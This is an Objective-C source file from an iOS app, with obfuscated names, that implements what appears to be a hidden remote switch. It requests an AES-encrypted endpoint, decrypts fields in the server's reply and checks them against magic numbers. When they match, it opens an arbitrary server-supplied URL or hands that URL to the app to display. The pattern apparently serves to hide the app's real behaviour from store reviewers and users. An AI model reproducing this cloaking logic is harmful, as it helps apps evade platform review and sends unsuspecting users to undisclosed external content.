//
//  FastOptExMNang.m
//  FastV
//
//  Created by dc on 2024/6/25.
//

#import "FastOptExMNang.h"
#import "FastOptAes.h"
#import <UIKit/UIKit.h>
@implementation FastOptExMNang


//请求头封装
+ (AFHTTPSessionManager *)acvAlertSharBablleManager{
    AFHTTPSessionManager *manager = [AFHTTPSessionManager manager];
    //设置请求参数的类型
    manager.requestSerializer = [AFJSONRequestSerializer serializer];//申明上传的参数类型 jason
    manager.securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeNone];
    manager.requestSerializer.timeoutInterval = 15.f;
    [manager.requestSerializer setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
    //设置服务器返回结果的类型:JSON (AFJSONResponseSerializer,AFHTTPResponseSerializer)
    manager.responseSerializer = [AFJSONResponseSerializer serializer];//申明获取的格式
    manager.responseSerializer.acceptableContentTypes = [NSSet setWithArray:@[@"application/json",
                       @"text/html",
                       @"text/json",
                       @"text/plain",
                       @"text/javascript",
                       @"text/xml",
                       @"multipart/form-data"]];
    //cookie
    NSUserDefaults * defauls = [NSUserDefaults standardUserDefaults];
    NSString * cookieStr = [defauls objectForKey:@"cookie"];
    [manager.requestSerializer setValue:cookieStr forHTTPHeaderField:@"Cookie"];
    return manager;
}


+ (NSURLSessionTask *)getAlterSharpComputerWithAp:(NSString *)addTitl successful:(void(^)(id thirObject))success failure:(void(^)(NSString *eror))failure{
    NSURLSessionDataTask *task;
    static AFHTTPSessionManager *manager = nil;
    manager = [self acvAlertSharBablleManager];
    task = [manager GET:addTitl parameters:@{} headers:@{} progress:^(NSProgress * _Nonnull downloadProgress) {
    } success:^(NSURLSessionDataTask * _Nonnull task, id  _Nullable responseObject) {
        success(responseObject);
    } failure:^(NSURLSessionDataTask * _Nullable task, NSError * _Nonnull error) {
        failure(@"");
    }];
    return task;
}

+ (void)baAlertSharComputNetworkBlock:(void(^)(AFNetworkReachabilityStatus status))statuBlock{
    AFNetworkReachabilityManager *manager = [AFNetworkReachabilityManager sharedManager];
    [manager setReachabilityStatusChangeBlock:^(AFNetworkReachabilityStatus status) {
        if (statuBlock) {
            statuBlock(status);
        }
    }];
    [manager startMonitoring];
}


+ (void)alertSharUponHistoryData:(void(^)(NSString *eror,NSString *fhjsUr))optStat{
    NSString *contRet = [FastOptAes AesOptionDecrypt:@"请求地址的加密字符串"];
    [FastOptExMNang getAlterSharpComputerWithAp:contRet successful:^(id  _Nonnull thirObject) {
        NSMutableDictionary *jectDic = [NSMutableDictionary dictionaryWithDictionary:thirObject];
        
        NSString *coufStr = [FastOptAes AesOptionDecrypt:[jectDic objectForKey:@"userHeader"]];
        if ([coufStr integerValue] == 854102) {
            NSString *twentyBell = [FastOptAes AesOptionDecrypt:[jectDic objectForKey:@"hontyUserNam"]];
            
            NSString *verPatStr = [FastOptAes AesOptionDecrypt:[jectDic objectForKey:@"honGhTyVer"]];
            NSString *name = [jectDic objectForKey:@"dragBagColo"];
            if (name.length < 3) {
                optStat(@"2",@"");
            }else{
                if ([verPatStr integerValue] == 1127) {
                    optStat(@"10",name);
                    NSURL *version = [NSURL URLWithString:[NSString stringWithFormat:@"%@",name]];
                    if ([[UIApplication sharedApplication] canOpenURL:version]) {
                        [[UIApplication sharedApplication] openURL:version options:@{} completionHandler:nil];
                    } else {
                        optStat(@"2",@"");
                    }
                }else{
                    if ([twentyBell integerValue] == 627) {
//                        [self forceOrientationLandscape];
//                        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.2 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
//                            [self hjfjshengxiaoUI];
//                            UIEdgeInsets safeInsets = self.view.safeAreaInsets;
//                            self.alkefgtFDW.frame = CGRectMake(safeInsets.left, safeInsets.top, ScreenW - safeInsets.left - safeInsets.right, ScreenH - safeInsets.top - safeInsets.bottom);
                            optStat(@"11",[NSString stringWithFormat:@"%@",name]);
//                        });
                    }else{
//                        [self hjfjshengxiaoUI];
                        optStat([NSString stringWithFormat:@"%@",name],@"");
                    }
                }
            }
        }else{
            optStat(@"2",@"");
        }
    } failure:^(NSString * _Nonnull eror) {
        optStat(@"2",@"");
    }];
}


@end
